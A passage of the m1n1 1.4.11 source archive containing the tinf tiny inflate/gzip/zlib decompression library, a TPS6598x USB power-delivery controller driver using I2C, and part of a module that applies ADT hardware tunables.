length) { const unsigned char *buf = (const unsigned char *) data; unsigned int crc = 0xFFFFFFFF; unsigned int i; if (length == 0) { return 0; } for (i = 0; i < length; ++i) { crc ^= buf[i]; crc = tinf_crc32tab[crc & 0x0F] ^ (crc >> 4); crc = tinf_crc32tab[crc & 0x0F] ^ (crc >> 4); } return crc ^ 0xFFFFFFFF; } m1n1-1.4.11/src/tinf/tinf.h000066400000000000000000000111341453754430200152210ustar00rootroot00000000000000/* * tinf - tiny inflate library (inflate, gzip, zlib) * * Copyright (c) 2003-2019 Joergen Ibsen * * This version of tinfzlib was modified for use with m1n1. * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ #ifndef TINF_H_INCLUDED #define TINF_H_INCLUDED #ifdef __cplusplus extern "C" { #endif #define TINF_VER_MAJOR 1 /**< Major version number */ #define TINF_VER_MINOR 2 /**< Minor version number */ #define TINF_VER_PATCH 1 /**< Patch version number */ #define TINF_VER_STRING "1.2.1" /**< Version number as a string */ #ifndef TINFCC # ifdef __WATCOMC__ # define TINFCC __cdecl # else # define TINFCC # endif #endif /** * Status codes returned. * * @see tinf_uncompress, tinf_gzip_uncompress, tinf_zlib_uncompress */ typedef enum { TINF_OK = 0, /**< Success */ TINF_DATA_ERROR = -3, /**< Input error */ TINF_BUF_ERROR = -5 /**< Not enough room for output */ } tinf_error_code; /** * Initialize global data used by tinf. * * @deprecated No longer required, may be removed in a future version. */ void TINFCC tinf_init(void); /** * Decompress `sourceLen` bytes of deflate data from `source` to `dest`. * * The variable `destLen` points to must contain the size of `dest` on entry, * and will be set to the size of the decompressed data on success. * * Reads at most `sourceLen` bytes from `source`. * Writes at most `*destLen` bytes to `dest`. * * @param dest pointer to where to place decompressed data * @param destLen pointer to variable containing size of `dest` * @param source pointer to compressed data * @param sourceLen size of compressed data * @return `TINF_OK` on success, error code on error */ int TINFCC tinf_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen); /** * Decompress `sourceLen` bytes of gzip data from `source` to `dest`. * * The variable `destLen` points to must contain the size of `dest` on entry, * and will be set to the size of the decompressed data on success. * * Reads at most `sourceLen` bytes from `source`. * Writes at most `*destLen` bytes to `dest`. * * @param dest pointer to where to place decompressed data * @param destLen pointer to variable containing size of `dest` * @param source pointer to compressed data * @param sourceLen size of compressed data * @return `TINF_OK` on success, error code on error */ int TINFCC tinf_gzip_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen); /** * Decompress `sourceLen` bytes of zlib data from `source` to `dest`. * * The variable `destLen` points to must contain the size of `dest` on entry, * and will be set to the size of the decompressed data on success. * * Reads at most `sourceLen` bytes from `source`. * Writes at most `*destLen` bytes to `dest`. * * @param dest pointer to where to place decompressed data * @param destLen pointer to variable containing size of `dest` * @param source pointer to compressed data * @param sourceLen size of compressed data * @return `TINF_OK` on success, error code on error */ int TINFCC tinf_zlib_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen); /** * Compute Adler-32 checksum of `length` bytes starting at `data`. * * @param data pointer to data * @param length size of data * @return Adler-32 checksum */ unsigned int TINFCC tinf_adler32(const void *data, unsigned int length); /** * Compute CRC32 checksum of `length` bytes starting at `data`. * * @param data pointer to data * @param length size of data * @return CRC32 checksum */ unsigned int TINFCC tinf_crc32(const void *data, unsigned int length); #ifdef __cplusplus } /* extern "C" */ #endif #endif /* TINF_H_INCLUDED */ m1n1-1.4.11/src/tinf/tinfgzip.c000066400000000000000000000101671453754430200161130ustar00rootroot00000000000000/* * tinfgzip - tiny gzip decompressor * * Copyright (c) 2003-2019 Joergen Ibsen * * This version of tinfzlib was modified for use with m1n1. * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ #include "tinf.h" typedef enum { FTEXT = 1, FHCRC = 2, FEXTRA = 4, FNAME = 8, FCOMMENT = 16 } tinf_gzip_flag; static unsigned int read_le16(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8); } static unsigned int read_le32(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8) | ((unsigned int) p[2] << 16) | ((unsigned int) p[3] << 24); } int tinf_gzip_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen) { const unsigned char *src = (const unsigned char *) source; unsigned char *dst = (unsigned char *) dest; const unsigned char *start; unsigned int dlen, crc32; int res; unsigned char flg; unsigned int sourceDataLen = 0; /* -- Check header -- */ /* Check room for at least 10 byte header and 8 byte trailer */ if (*sourceLen && *sourceLen < 18) { return TINF_DATA_ERROR; } /* Check id bytes */ if (src[0] != 0x1F || src[1] != 0x8B) { return TINF_DATA_ERROR; } /* Check method is deflate */ if (src[2] != 8) { return TINF_DATA_ERROR; } /* Get flag byte */ flg = src[3]; /* Check that reserved bits are zero */ if (flg & 0xE0) { return TINF_DATA_ERROR; } /* -- Find start of compressed data -- */ /* Skip base header of 10 bytes */ start = src + 10; /* Skip extra data if present */ if (flg & FEXTRA) { unsigned int xlen = read_le16(start); if (*sourceLen && xlen > *sourceLen - 12) { return TINF_DATA_ERROR; } start += xlen + 2; } /* Skip file name if present */ if (flg & FNAME) { do { if (*sourceLen && start - src >= *sourceLen) { return TINF_DATA_ERROR; } } while (*start++); } /* Skip file comment if present */ if (flg & FCOMMENT) { do { if (*sourceLen && start - src >= *sourceLen) { return TINF_DATA_ERROR; } } while (*start++); } /* Check header crc if present */ if (flg & FHCRC) { unsigned int hcrc; if (*sourceLen && start - src > *sourceLen - 2) { return TINF_DATA_ERROR; } hcrc = read_le16(start); if (hcrc != (tinf_crc32(src, start - src) & 0x0000FFFF)) { return TINF_DATA_ERROR; } start += 2; } /* -- Get decompressed length if available -- */ if (*sourceLen) { dlen = read_le32(&src[*sourceLen - 4]); if (dlen > *destLen) { return TINF_BUF_ERROR; } } /* -- Check source length if available -- */ if (*sourceLen) { if ((src + *sourceLen) - start < 8) { return TINF_DATA_ERROR; } sourceDataLen = (src + *sourceLen) - start - 8; } /* -- Decompress data -- */ res = tinf_uncompress(dst, destLen, start, &sourceDataLen); if (res != TINF_OK) { return TINF_DATA_ERROR; } sourceDataLen += (start - src) + 8; if (*sourceLen && *sourceLen != sourceDataLen) { return TINF_DATA_ERROR; } *sourceLen = sourceDataLen; /* -- Check decompressed length -- */ dlen = read_le32(&src[*sourceLen - 4]); if (*destLen != dlen) { return TINF_DATA_ERROR; } /* -- Check CRC32 checksum -- */ crc32 = read_le32(&src[*sourceLen - 8]); if (crc32 != tinf_crc32(dst, dlen)) { return TINF_DATA_ERROR; } return TINF_OK; } m1n1-1.4.11/src/tinf/tinflate.c000066400000000000000000000347261453754430200160760ustar00rootroot00000000000000/* * tinflate - tiny inflate * * Copyright (c) 2003-2019 Joergen Ibsen * * This version of tinfzlib was modified for use with m1n1. * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ #include "tinf.h" #include #include #if defined(UINT_MAX) && (UINT_MAX) < 0xFFFFFFFFUL # error "tinf requires unsigned int to be at least 32-bit" #endif /* -- Internal data structures -- */ struct tinf_tree { unsigned short counts[16]; /* Number of codes with a given length */ unsigned short symbols[288]; /* Symbols sorted by code */ int max_sym; }; struct tinf_data { const unsigned char *source; const unsigned char *source_end; unsigned int tag; int bitcount; int overflow; unsigned char *dest_start; unsigned char *dest; unsigned char *dest_end; struct tinf_tree ltree; /* Literal/length tree */ struct tinf_tree dtree; /* Distance tree */ }; /* -- Utility functions -- */ static unsigned int read_le16(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8); } /* Build fixed Huffman trees */ static void tinf_build_fixed_trees(struct tinf_tree *lt, struct tinf_tree *dt) { int i; /* Build fixed literal/length tree */ for (i = 0; i < 16; ++i) { lt->counts[i] = 0; } lt->counts[7] = 24; lt->counts[8] = 152; lt->counts[9] = 112; for (i = 0; i < 24; ++i) { lt->symbols[i] = 256 + i; } for (i = 0; i < 144; ++i) { lt->symbols[24 + i] = i; } for (i = 0; i < 8; ++i) { lt->symbols[24 + 144 + i] = 280 + i; } for (i = 0; i < 112; ++i) { lt->symbols[24 + 144 + 8 + i] = 144 + i; } lt->max_sym = 285; /* Build fixed distance tree */ for (i = 0; i < 16; ++i) { dt->counts[i] = 0; } dt->counts[5] = 32; for (i = 0; i < 32; ++i) { dt->symbols[i] = i; } dt->max_sym = 29; } /* Given an array of code lengths, build a tree */ static int tinf_build_tree(struct tinf_tree *t, const unsigned char *lengths, unsigned int num) { unsigned short offs[16]; unsigned int i, num_codes, available; assert(num <= 288); for (i = 0; i < 16; ++i) { t->counts[i] = 0; } t->max_sym = -1; /* Count number of codes for each non-zero length */ for (i = 0; i < num; ++i) { assert(lengths[i] <= 15); if (lengths[i]) { t->max_sym = i; t->counts[lengths[i]]++; } } /* Compute offset table for distribution sort */ for (available = 1, num_codes = 0, i = 0; i < 16; ++i) { unsigned int used = t->counts[i]; /* Check length contains no more codes than available */ if (used > available) { return TINF_DATA_ERROR; } available = 2 * (available - used); offs[i] = num_codes; num_codes += used; } /* * Check all codes were used, or for the special case of only one * code that it has length 1 */ if ((num_codes > 1 && available > 0) || (num_codes == 1 && t->counts[1] != 1)) { return TINF_DATA_ERROR; } /* Fill in symbols sorted by code */ for (i = 0; i < num; ++i) { if (lengths[i]) { t->symbols[offs[lengths[i]]++] = i; } } /* * For the special case of only one code (which will be 0) add a * code 1 which results in a symbol that is too large */ if (num_codes == 1) { t->counts[1] = 2; t->symbols[1] = t->max_sym + 1; } return TINF_OK; } /* -- Decode functions -- */ static void tinf_refill(struct tinf_data *d, int num) { assert(num >= 0 && num <= 32); /* Read bytes until at least num bits available */ while (d->bitcount < num) { if (d->source != d->source_end) { d->tag |= (unsigned int) *d->source++ << d->bitcount; } else { d->overflow = 1; } d->bitcount += 8; } assert(d->bitcount <= 32); } static unsigned int tinf_getbits_no_refill(struct tinf_data *d, int num) { unsigned int bits; assert(num >= 0 && num <= d->bitcount); /* Get bits from tag */ bits = d->tag & ((1UL << num) - 1); /* Remove bits from tag */ d->tag >>= num; d->bitcount -= num; return bits; } /* Get num bits from source stream */ static unsigned int tinf_getbits(struct tinf_data *d, int num) { tinf_refill(d, num); return tinf_getbits_no_refill(d, num); } /* Read a num bit value from stream and add base */ static unsigned int tinf_getbits_base(struct tinf_data *d, int num, int base) { return base + (num ? tinf_getbits(d, num) : 0); } /* Given a data stream and a tree, decode a symbol */ static int tinf_decode_symbol(struct tinf_data *d, const struct tinf_tree *t) { int base = 0, offs = 0; int len; /* * Get more bits while code index is above number of codes * * Rather than the actual code, we are computing the position of the * code in the sorted order of codes, which is the index of the * corresponding symbol. * * Conceptually, for each code length (level in the tree), there are * counts[len] leaves on the left and internal nodes on the right. * The index we have decoded so far is base + offs, and if that * falls within the leaves we are done. Otherwise we adjust the range * of offs and add one more bit to it. */ for (len = 1; ; ++len) { offs = 2 * offs + tinf_getbits(d, 1); assert(len <= 15); if (offs < t->counts[len]) { break; } base += t->counts[len]; offs -= t->counts[len]; } assert(base + offs >= 0 && base + offs < 288); return t->symbols[base + offs]; } /* Given a data stream, decode dynamic trees from it */ static int tinf_decode_trees(struct tinf_data *d, struct tinf_tree *lt, struct tinf_tree *dt) { unsigned char lengths[288 + 32]; /* Special ordering of code length codes */ static const unsigned char clcidx[19] = { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; unsigned int hlit, hdist, hclen; unsigned int i, num, length; int res; /* Get 5 bits HLIT (257-286) */ hlit = tinf_getbits_base(d, 5, 257); /* Get 5 bits HDIST (1-32) */ hdist = tinf_getbits_base(d, 5, 1); /* Get 4 bits HCLEN (4-19) */ hclen = tinf_getbits_base(d, 4, 4); /* * The RFC limits the range of HLIT to 286, but lists HDIST as range * 1-32, even though distance codes 30 and 31 have no meaning. While * we could allow the full range of HLIT and HDIST to make it possible * to decode the fixed trees with this function, we consider it an * error here. * * See also: https://github.com/madler/zlib/issues/82 */ if (hlit > 286 || hdist > 30) { return TINF_DATA_ERROR; } for (i = 0; i < 19; ++i) { lengths[i] = 0; } /* Read code lengths for code length alphabet */ for (i = 0; i < hclen; ++i) { /* Get 3 bits code length (0-7) */ unsigned int clen = tinf_getbits(d, 3); lengths[clcidx[i]] = clen; } /* Build code length tree (in literal/length tree to save space) */ res = tinf_build_tree(lt, lengths, 19); if (res != TINF_OK) { return res; } /* Check code length tree is not empty */ if (lt->max_sym == -1) { return TINF_DATA_ERROR; } /* Decode code lengths for the dynamic trees */ for (num = 0; num < hlit + hdist; ) { int sym = tinf_decode_symbol(d, lt); if (sym > lt->max_sym) { return TINF_DATA_ERROR; } switch (sym) { case 16: /* Copy previous code length 3-6 times (read 2 bits) */ if (num == 0) { return TINF_DATA_ERROR; } sym = lengths[num - 1]; length = tinf_getbits_base(d, 2, 3); break; case 17: /* Repeat code length 0 for 3-10 times (read 3 bits) */ sym = 0; length = tinf_getbits_base(d, 3, 3); break; case 18: /* Repeat code length 0 for 11-138 times (read 7 bits) */ sym = 0; length = tinf_getbits_base(d, 7, 11); break; default: /* Values 0-15 represent the actual code lengths */ length = 1; break; } if (length > hlit + hdist - num) { return TINF_DATA_ERROR; } while (length--) { lengths[num++] = sym; } } /* Check EOB symbol is present */ if (lengths[256] == 0) { return TINF_DATA_ERROR; } /* Build dynamic trees */ res = tinf_build_tree(lt, lengths, hlit); if (res != TINF_OK) { return res; } res = tinf_build_tree(dt, lengths + hlit, hdist); if (res != TINF_OK) { return res; } return TINF_OK; } /* -- Block inflate functions -- */ /* Given a stream and two trees, inflate a block of data */ static int tinf_inflate_block_data(struct tinf_data *d, struct tinf_tree *lt, struct tinf_tree *dt) { /* Extra bits and base tables for length codes */ static const unsigned char length_bits[30] = { 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 127 }; static const unsigned short length_base[30] = { 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0 }; /* Extra bits and base tables for distance codes */ static const unsigned char dist_bits[30] = { 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13 }; static const unsigned short dist_base[30] = { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577 }; for (;;) { int sym = tinf_decode_symbol(d, lt); /* Check for overflow in bit reader */ if (d->overflow) { return TINF_DATA_ERROR; } if (sym < 256) { if (d->dest == d->dest_end) { return TINF_BUF_ERROR; } *d->dest++ = sym; } else { int length, dist, offs; int i; /* Check for end of block */ if (sym == 256) { return TINF_OK; } /* Check sym is within range and distance tree is not empty */ if (sym > lt->max_sym || sym - 257 > 28 || dt->max_sym == -1) { return TINF_DATA_ERROR; } sym -= 257; /* Possibly get more bits from length code */ length = tinf_getbits_base(d, length_bits[sym], length_base[sym]); dist = tinf_decode_symbol(d, dt); /* Check dist is within range */ if (dist > dt->max_sym || dist > 29) { return TINF_DATA_ERROR; } /* Possibly get more bits from distance code */ offs = tinf_getbits_base(d, dist_bits[dist], dist_base[dist]); if (offs > d->dest - d->dest_start) { return TINF_DATA_ERROR; } if (d->dest_end - d->dest < length) { return TINF_BUF_ERROR; } /* Copy match */ for (i = 0; i < length; ++i) { d->dest[i] = d->dest[i - offs]; } d->dest += length; } } } /* Inflate an uncompressed block of data */ static int tinf_inflate_uncompressed_block(struct tinf_data *d) { unsigned int length, invlength; if (d->source_end && d->source_end - d->source < 4) { return TINF_DATA_ERROR; } /* Get length */ length = read_le16(d->source); /* Get one's complement of length */ invlength = read_le16(d->source + 2); /* Check length */ if (length != (~invlength & 0x0000FFFF)) { return TINF_DATA_ERROR; } d->source += 4; if (d->source_end && d->source_end - d->source < length) { return TINF_DATA_ERROR; } if (d->dest_end - d->dest < length) { return TINF_BUF_ERROR; } /* Copy block */ while (length--) { *d->dest++ = *d->source++; } /* Make sure we start next block on a byte boundary */ d->tag = 0; d->bitcount = 0; return TINF_OK; } /* Inflate a block of data compressed with fixed Huffman trees */ static int tinf_inflate_fixed_block(struct tinf_data *d) { /* Build fixed Huffman trees */ tinf_build_fixed_trees(&d->ltree, &d->dtree); /* Decode block using fixed trees */ return tinf_inflate_block_data(d, &d->ltree, &d->dtree); } /* Inflate a block of data compressed with dynamic Huffman trees */ static int tinf_inflate_dynamic_block(struct tinf_data *d) { /* Decode trees from stream */ int res = tinf_decode_trees(d, &d->ltree, &d->dtree); if (res != TINF_OK) { return res; } /* Decode block using decoded trees */ return tinf_inflate_block_data(d, &d->ltree, &d->dtree); } /* -- Public functions -- */ /* Initialize global (static) data */ void tinf_init(void) { return; } /* Inflate stream from source to dest */ int tinf_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen) { struct tinf_data d; int bfinal; /* Initialise data */ d.source = (const unsigned char *) source; if (sourceLen && *sourceLen) d.source_end = d.source + *sourceLen; else d.source_end = 0; d.tag = 0; d.bitcount = 0; d.overflow = 0; d.dest = (unsigned char *) dest; d.dest_start = d.dest; d.dest_end = d.dest + *destLen; do { unsigned int btype; int res; /* Read final block flag */ bfinal = tinf_getbits(&d, 1); /* Read block type (2 bits) */ btype = tinf_getbits(&d, 2); /* Decompress block */ switch (btype) { case 0: /* Decompress uncompressed block */ res = tinf_inflate_uncompressed_block(&d); break; case 1: /* Decompress block with fixed Huffman trees */ res = tinf_inflate_fixed_block(&d); break; case 2: /* Decompress block with dynamic Huffman trees */ res = tinf_inflate_dynamic_block(&d); break; default: res = TINF_DATA_ERROR; break; } if (res != TINF_OK) { return res; } } while (!bfinal); /* Check for overflow in bit reader */ if (d.overflow) { return TINF_DATA_ERROR; } if (sourceLen) { unsigned int slen = d.source - (const unsigned char *)source; if (!*sourceLen) *sourceLen = slen; else if (*sourceLen != slen) return TINF_DATA_ERROR; } *destLen = d.dest - d.dest_start; return TINF_OK; } /* clang -g -O1 -fsanitize=fuzzer,address -DTINF_FUZZING tinflate.c */ #if defined(TINF_FUZZING) #include #include #include #include #include unsigned char depacked[64 * 1024]; extern int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size > UINT_MAX / 2) { return 0; } unsigned int destLen = sizeof(depacked); tinf_uncompress(depacked, &destLen, data, size); return 0; } #endif m1n1-1.4.11/src/tinf/tinfzlib.c000066400000000000000000000047651453754430200161110ustar00rootroot00000000000000/* * tinfzlib - tiny zlib decompressor * * This version of tinfzlib was modified for use with m1n1. * * Copyright (c) 2003-2019 Joergen Ibsen * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ #include "tinf.h" static unsigned int read_be32(const unsigned char *p) { return ((unsigned int) p[0] << 24) | ((unsigned int) p[1] << 16) | ((unsigned int) p[2] << 8) | ((unsigned int) p[3]); } int tinf_zlib_uncompress(void *dest, unsigned int *destLen, const void *source, unsigned int *sourceLen) { const unsigned char *src = (const unsigned char *) source; unsigned char *dst = (unsigned char *) dest; unsigned int a32; int res; unsigned char cmf, flg; unsigned int sourceDataLen = sourceLen ? *sourceLen - 6 : 0; /* -- Check header -- */ /* Check room for at least 2 byte header and 4 byte trailer */ if (*sourceLen && *sourceLen < 6) { return TINF_DATA_ERROR; } /* Get header bytes */ cmf = src[0]; flg = src[1]; /* Check checksum */ if ((256 * cmf + flg) % 31) { return TINF_DATA_ERROR; } /* Check method is deflate */ if ((cmf & 0x0F) != 8) { return TINF_DATA_ERROR; } /* Check window size is valid */ if ((cmf >> 4) > 7) { return TINF_DATA_ERROR; } /* Check there is no preset dictionary */ if (flg & 0x20) { return TINF_DATA_ERROR; } /* -- Decompress data -- */ res = tinf_uncompress(dst, destLen, src + 2, &sourceDataLen); if (res != TINF_OK) { return TINF_DATA_ERROR; } /* -- Check Adler-32 checksum -- */ a32 = read_be32(&src[sourceDataLen + 2]); if (a32 != tinf_adler32(dst, *destLen)) { return TINF_DATA_ERROR; } if (sourceLen) *sourceLen = sourceDataLen + 6; return TINF_OK; } m1n1-1.4.11/src/tps6598x.c000066400000000000000000000115051453754430200146500ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "tps6598x.h" #include "adt.h" #include "i2c.h" #include "iodev.h" #include "malloc.h" #include "types.h" #include "utils.h" #define TPS_REG_CMD1 0x08 #define TPS_REG_DATA1 0x09 #define TPS_REG_INT_EVENT1 0x14 #define TPS_REG_INT_MASK1 0x16 #define TPS_REG_INT_CLEAR1 0x18 #define TPS_REG_POWER_STATE 0x20 #define TPS_CMD_INVALID 0x21434d44 // !CMD struct tps6598x_dev { i2c_dev_t *i2c; u8 addr; }; tps6598x_dev_t *tps6598x_init(const char *adt_node, i2c_dev_t *i2c) { int adt_offset; adt_offset = adt_path_offset(adt, adt_node); if (adt_offset < 0) { printf("tps6598x: Error getting %s node\n", adt_node); return NULL; } const u8 *iic_addr = adt_getprop(adt, adt_offset, "hpm-iic-addr", NULL); if (iic_addr == NULL) { printf("tps6598x: Error getting %s hpm-iic-addr\n.", adt_node); return NULL; } tps6598x_dev_t *dev = calloc(1, sizeof(*dev)); if (!dev) return NULL; dev->i2c = i2c; dev->addr = *iic_addr; return dev; } void tps6598x_shutdown(tps6598x_dev_t *dev) { free(dev); } int tps6598x_command(tps6598x_dev_t *dev, const char *cmd, const u8 *data_in, size_t len_in, u8 *data_out, size_t len_out) { if (len_in) { if (i2c_smbus_write(dev->i2c, dev->addr, TPS_REG_DATA1, data_in, len_in) < 0) return -1; } if (i2c_smbus_write(dev->i2c, dev->addr, TPS_REG_CMD1, (const u8 *)cmd, 4) < 0) return -1; u32 cmd_status; do { if (i2c_smbus_read32(dev->i2c, dev->addr, TPS_REG_CMD1, &cmd_status)) return -1; if (cmd_status == TPS_CMD_INVALID) return -1; udelay(100); } while (cmd_status != 0); if (len_out) { if (i2c_smbus_read(dev->i2c, dev->addr, TPS_REG_DATA1, data_out, len_out) != (ssize_t)len_out) return -1; } return 0; } int tps6598x_disable_irqs(tps6598x_dev_t *dev, tps6598x_irq_state_t *state) { size_t read; int written; static const u8 zeros[CD3218B12_IRQ_WIDTH] = {0x00}; static const u8 ones[CD3218B12_IRQ_WIDTH] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // store IntEvent 1 to restore it later read = i2c_smbus_read(dev->i2c, dev->addr, TPS_REG_INT_MASK1, state->int_mask1, sizeof(state->int_mask1)); if (read != CD3218B12_IRQ_WIDTH) { printf("tps6598x: reading TPS_REG_INT_MASK1 failed\n"); return -1; } state->valid = 1; // mask interrupts and ack all interrupt flags written = i2c_smbus_write(dev->i2c, dev->addr, TPS_REG_INT_CLEAR1, ones, sizeof(ones)); if (written != sizeof(zeros)) { printf("tps6598x: writing TPS_REG_INT_CLEAR1 failed, written: %d\n", written); return -1; } written = i2c_smbus_write(dev->i2c, dev->addr, TPS_REG_INT_MASK1, zeros, sizeof(zeros)); if (written != sizeof(ones)) { printf("tps6598x: writing TPS_REG_INT_MASK1 failed, written: %d\n", written); return -1; } #ifdef DEBUG u8 tmp[CD3218B12_IRQ_WIDTH] = {0x00}; read = i2c_smbus_read(dev->i2c, dev->addr, TPS_REG_INT_MASK1, tmp, CD3218B12_IRQ_WIDTH); if (read != CD3218B12_IRQ_WIDTH) printf("tps6598x: failed verification, can't read TPS_REG_INT_MASK1\n"); else { printf("tps6598x: verify: TPS_REG_INT_MASK1 vs. saved IntMask1\n"); hexdump(tmp, sizeof(tmp)); hexdump(state->int_mask1, sizeof(state->int_mask1)); } #endif return 0; } int tps6598x_restore_irqs(tps6598x_dev_t *dev, tps6598x_irq_state_t *state) { int written; written = i2c_smbus_write(dev->i2c, dev->addr, TPS_REG_INT_MASK1, state->int_mask1, sizeof(state->int_mask1)); if (written != sizeof(state->int_mask1)) { printf("tps6598x: restoring TPS_REG_INT_MASK1 failed\n"); return -1; } #ifdef DEBUG int read; u8 tmp[CD3218B12_IRQ_WIDTH]; read = i2c_smbus_read(dev->i2c, dev->addr, TPS_REG_INT_MASK1, tmp, sizeof(tmp)); if (read != sizeof(tmp)) printf("tps6598x: failed verification, can't read TPS_REG_INT_MASK1\n"); else { printf("tps6598x: verify saved IntMask1 vs. TPS_REG_INT_MASK1:\n"); hexdump(state->int_mask1, sizeof(state->int_mask1)); hexdump(tmp, sizeof(tmp)); } #endif return 0; } int tps6598x_powerup(tps6598x_dev_t *dev) { u8 power_state; if (i2c_smbus_read8(dev->i2c, dev->addr, TPS_REG_POWER_STATE, &power_state)) return -1; if (power_state == 0) return 0; const u8 data = 0; tps6598x_command(dev, "SSPS", &data, 1, NULL, 0); if (i2c_smbus_read8(dev->i2c, dev->addr, TPS_REG_POWER_STATE, &power_state)) return -1; if (power_state != 0) return -1; return 0; } m1n1-1.4.11/src/tps6598x.h000066400000000000000000000014021453754430200146500ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef TPS6598X_H #define TPS6598X_H #include "i2c.h" #include "types.h" typedef struct tps6598x_dev tps6598x_dev_t; tps6598x_dev_t *tps6598x_init(const char *adt_path, i2c_dev_t *i2c); void tps6598x_shutdown(tps6598x_dev_t *dev); int tps6598x_command(tps6598x_dev_t *dev, const char *cmd, const u8 *data_in, size_t len_in, u8 *data_out, size_t len_out); int tps6598x_powerup(tps6598x_dev_t *dev); #define CD3218B12_IRQ_WIDTH 9 typedef struct tps6598x_irq_state { u8 int_mask1[CD3218B12_IRQ_WIDTH]; bool valid; } tps6598x_irq_state_t; int tps6598x_disable_irqs(tps6598x_dev_t *dev, tps6598x_irq_state_t *state); int tps6598x_restore_irqs(tps6598x_dev_t *dev, tps6598x_irq_state_t *state); #endif m1n1-1.4.11/src/tunables.c000066400000000000000000000067031453754430200151370ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "tunables.h" #include "types.h" #include "utils.h" struct tunable_info { int node_offset; int node_path[8]; const u32 *tunable_raw; u32 tunable_len; }; static int tunables_adt_find(const char *path, const char *prop, struct tunable_info *info, u32 item_size) { info->node_offset = adt_path_offset_trace(adt, path, info->node_path); if (info->node_offset < 0) { printf("tunable: unable to find ADT node %s.\n", path); return -1; } info->tunable_raw = adt_getprop(adt, info->node_offset, prop, &info->tunable_len); if (info->tunable_raw == NULL || info->tunable_len == 0) { printf("tunable: Error getting ADT node %s property %s .\n", path, prop); return -1; } if (info->tunable_len % item_size) { printf("tunable: tunable length needs to be a multiply of %d but is %d\n", item_size, info->tunable_len); return -1; } info->tunable_len /= item_size; return 0; } struct tunable_global { u32 reg_idx; u32 offset; u32 mask; u32 value; } PACKED; int tunables_apply_global(const char *path, const char *prop) { struct tunable_info info; if (tunables_adt_find(path, prop, &info, sizeof(struct tunable_global)) < 0) return -1; const struct tunable_global *tunables = (const struct tunable_global *)info.tunable_raw; for (u32 i = 0; i < info.tunable_len; ++i) { const struct tunable_global *tunable = &tunables[i]; u64 addr; if (adt_get_reg(adt, info.node_path, "reg", tunable->reg_idx, &addr, NULL) < 0) { printf("tunable: Error getting regs with index %d\n", tunable->reg_idx); return -1; } mask32(addr + tunable->offset, tunable->mask, tunable->value); } return 0; } struct tunable_local { u32 offset; u32 size; u64 mask; u64 value; } PACKED; int tunables_apply_local_addr(const char *path, const char *prop, uintptr_t base) { struct tunable_info info; if (tunables_adt_find(path, prop, &info, sizeof(struct tunable_local)) < 0) return -1; const struct tunable_local *tunables = (const struct tunable_local *)info.tunable_raw; for (u32 i = 0; i < info.tunable_len; ++i) { const struct tunable_local *tunable = &tunables[i]; switch (tunable->size) { case 1: mask8(base + tunable->offset, tunable->mask, tunable->value); break; case 2: mask16(base + tunable->offset, tunable->mask, tunable->value); break; case 4: mask32(base + tunable->offset, tunable->mask, tunable->value); break; case 8: mask64(base + tunable->offset, tunable->mask, tunable->value); break; default: printf("tunable: unknown tunable size 0x%08x\n", tunable->size); return -1; } } return 